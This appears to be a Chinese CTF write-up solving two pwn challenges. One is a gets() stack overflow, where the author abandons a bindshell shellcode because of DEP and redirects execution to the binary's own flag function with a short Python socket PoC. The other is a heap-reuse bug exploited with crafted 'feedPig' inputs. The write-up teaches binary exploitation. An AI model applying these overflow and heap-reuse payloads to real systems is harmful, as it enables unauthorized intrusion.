第一题:餐前甜点
描述:nc 218.2.197.236 2009
溢出点 get,不判断输入字符的长度,导致覆盖v2,并执行v2
堆栈中是这样存放的(堆栈地址越大,就越往下)
result
v1 0x80个字节大小 0x9c-0x1c
v2 4个字节
ebp
ret
思路:输入长度为0x80后面加上bindshell的shellcode。
但是,shellcode总是执行不成功。
用checksec.sh脚本看下
原来有dep保护。
搜索字符串发现,程序本身是要读取flag的,所以后面的shellcode只需换成下面这个函数的地址即可
最后的poc
# -*- coding:utf-8 -*-
import socket
import struct
# 新建套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#和服务端连接
s.connect(('218.2.197.236 ', 2009))
print s.recv(4096)
# 转换为\x5c\x85\x04\x08 可以用print repr(str)输出
str = struct.pack("I", 0x0804855C)
s.send("1"*128 + str + '\n')
#一直输出,当看到有结果了,暂停程序即可。
while(1):
print s.recv(4096)
# 关闭套接字
s.close()
第二题:杀猪吃肉
描述:nc 218.2.197.236 2010
0x1. 基础储备
函数调用:
可以发现,参数调用顺序为rdi(edi) rsi(esi) edx ,即如果只有一个参数,那就用rdi传递参数。以此类推
具体是用rdi和edi就是看参数类型大小。
即rdi rsi edx分别为参数1,2,3,顺序为edx rsi rdi (相当于从右往左压栈)
比如下图,就可以这样理解,edx第三个参数,esi第二个参数,rdi第一个参数。
指针申请
在linux中(x64下)x86的没测试过。free掉重新申请,发现指针是一样的。
如果没有free重新申请,申请的指针相差0x20
当分配长度大于等于25的时候,就又相差0x20了。这应该是字节对齐的原因造成的。
最短24字节,相差0x20
字符输入长度
在linux上,
用fgets是要接收回车字符的。假如输入123,长度为4
gets是不会接收回车字符的。假如输入123,长度为3
0x2. IDA分析
killPig 中的操作:
比较输入的前8个字节是否为killPig (注意有个空格)。
如果是,就malloc分配8个字节大小的内存给cs:auth,并且初始化为0。
并且将第9位以后的内容拷贝到cs:auth里面。如果输入的字符串长度一共大于0x1E+8 = 0x26,就不执行拷贝操作。直接执行下面的reset操作
reset中的操作:
比较输入的前5个字节是否为reset。
如果是,就free掉cs:auth里面的内容。(相当于cs:auth没有内容)
不是,就跳到feedPig操作
feedPig中的操作:
比较输入的前7个字节是否为feedPig。
如果是,就用strdup从第输入的地址+8(即第9个字节),分配一个另外的指针给cs:service。但是没有free(不过没有影响)。
最后的正确判断:
判断cs:auth偏移0x20处的值是否为0,如果不为0即得到flag
0x3. 解题思路
所以就有两个思路:
1. 使用reset。由于使用reset,cs:auth会被free,所以下次再feedPig中申请的地址和cs:auth是一样的。
根据这个图就知道,feedPig只需要输入24个字节+1个回车即可。
构造出来为:feedPig0 + 01234567890123456789012+回车(25位一共,这是最短的)
此时的cs:auth+0x20指向的内容是01234567890123456789012
2. 不使用reset。由于不使用reset,cs:auth没有被free,所以下次feedPig用strdup申请的地址是cs:auth偏移0x20处。
这样,只需保证strdup能申请成功即可。最短长度为,feedPig+1个字符+1个回车。
附件:bin+checksec.sh+idb文件
pwn.zip
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。